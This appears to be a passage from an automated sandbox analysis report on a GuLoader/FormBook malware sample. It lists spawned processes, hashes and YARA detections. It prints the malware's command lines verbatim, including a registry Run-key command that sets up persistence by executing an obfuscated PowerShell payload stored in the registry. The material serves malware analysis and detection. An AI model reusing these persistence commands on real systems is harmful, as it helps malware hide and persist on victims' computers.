Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2264331701.0000000008220000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2253915133.0000000005671000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2265640290.000000000DB8A000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	11:37:08
Start date:	15/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	11:37:32
Start date:	15/07/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xa00000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	11:37:44
Start date:	15/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	11:37:44
Start date:	15/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	11:37:44
Start date:	15/07/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"
Imagebase:	0x980000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true